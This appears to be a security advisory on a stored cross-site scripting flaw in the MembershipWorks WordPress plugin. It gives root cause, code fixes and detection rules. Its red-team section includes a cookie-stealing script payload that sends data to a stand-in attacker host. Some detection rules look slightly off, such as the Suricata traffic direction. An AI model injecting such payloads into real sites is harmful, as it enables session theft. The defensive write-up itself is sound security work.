CVE-2025-12018

Executive Summary

CVE-2025-12018 is a Stored Cross-Site Scripting (XSS) vulnerability in the MembershipWorks – Membership, Events & Directory plugin for WordPress, affecting all versions up to and including 6.14. The flaw resides in the plugin’s admin settings, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site WordPress installations or environments where the unfiltered_html capability has been disabled. Despite a low CVSS score of 4.4, the risk is elevated in shared hosting or multi-tenant WordPress setups where administrators may have limited privileges. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Organizations using MembershipWorks should verify their plugin version and monitor for updates. Since the plugin is part of the WordPress ecosystem, supply chain risk is moderate; however, no malicious code injection has been reported in the plugin’s distribution channel.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: Required (Victim must visit the injected page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires administrator-level access, but in multi-site environments, a compromised admin account can lead to persistent XSS affecting all site users. The lack of a patch increases the urgency for detection and workarounds.

Deep Dive & Mechanics

The vulnerability exists in the admin settings panel of the MembershipWorks plugin. The plugin fails to properly sanitize user-supplied input and escape output when rendering settings fields. An attacker with administrator privileges can inject malicious JavaScript into fields such as custom messages, labels, or other text-based settings. When the settings are saved and later displayed on the frontend or backend pages, the injected script executes in the context of the victim’s browser.

Root Cause: The plugin uses echo or _e() functions without applying esc_html() or wp_kses() to user input, allowing arbitrary HTML and JavaScript to be stored and rendered.

Exploitation Scenario:

1. An attacker gains administrator access to a WordPress multi-site network.
2. They navigate to the MembershipWorks settings page and inject a payload like <script>alert('XSS')</script> into a vulnerable field.
3. The payload is stored in the database.
4. When any user (including lower-privileged users or visitors) accesses a page that displays the setting, the script executes.

Affected Component: The plugin’s admin settings page (typically under MembershipWorks > Settings). The exact field(s) are not publicly documented, but any text input that is not sanitized is suspect.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (PHP):

// In a settings field rendering function
echo '<input type="text" name="mw_custom_message" value="' . $options['custom_message'] . '" />';

Patched Code (Hypothetical):

// Properly escape output
echo '<input type="text" name="mw_custom_message" value="' . esc_attr( $options['custom_message'] ) . '" />';

Explanation: The vulnerable code directly outputs the stored value without escaping, allowing HTML/JavaScript injection. The patched version uses esc_attr() to safely encode special characters, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress multi-site installation with MembershipWorks plugin <= 6.14.
• Administrator account on the network.
• unfiltered_html capability disabled (default for non-Super Admin roles in multi-site).

Steps:

1. Log in as an administrator.
2. Navigate to MembershipWorks > Settings.
3. Identify a text field (e.g., "Custom Welcome Message").
4. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the settings.
6. Any user visiting a page that displays this setting will trigger the script.

Proof-of-Concept (No public exploit available):

<!-- Example payload for a settings field -->
<script>alert('XSS')</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor admin settings changes for suspicious input patterns.
• Use WAF rules to block common XSS payloads in POST requests to /wp-admin/admin.php?page=membershipworks-settings.

Hardening:

• Disable the plugin on multi-site networks if not essential.
• Restrict administrator access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • POST requests to /wp-admin/admin.php?page=membershipworks-settings with unusual parameters.

• Host IOCs:

  • Modified plugin settings in the wp_options table containing <script> tags.
  • Unexpected JavaScript in the plugin’s settings page HTML source.

• File IOCs:

  • No file modifications expected; the vulnerability is database-driven.

Detection Engineering

YARA Rule

rule CVE_2025_12018_MembershipWorks_XSS {
    meta:
        description = "Detects stored XSS payloads in MembershipWorks plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12018"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "wp-content/plugins/membershipworks"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in MembershipWorks Plugin Settings
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in MembershipWorks plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin.php?page=membershipworks-settings'
        cs-uri-query|re: '(<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12018 MembershipWorks Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"admin.php?page=membershipworks-settings"; http_uri; pcre:"/(<script|<img|<svg|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin on multi-site installations until a patch is released.
2. Restrict administrator access to only trusted users.
3. Enable unfiltered_html for Super Admins only (note: this may reduce security in other areas).

Long-term Fix:

• Apply input sanitization and output escaping to all settings fields. Use esc_html(), esc_attr(), or wp_kses() as appropriate.
• Implement a nonce check on settings save actions.
• Regularly update the plugin when a patched version is released.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS payloads in plugin settings pages.
• Monitor logs for suspicious admin activity.

Valters IT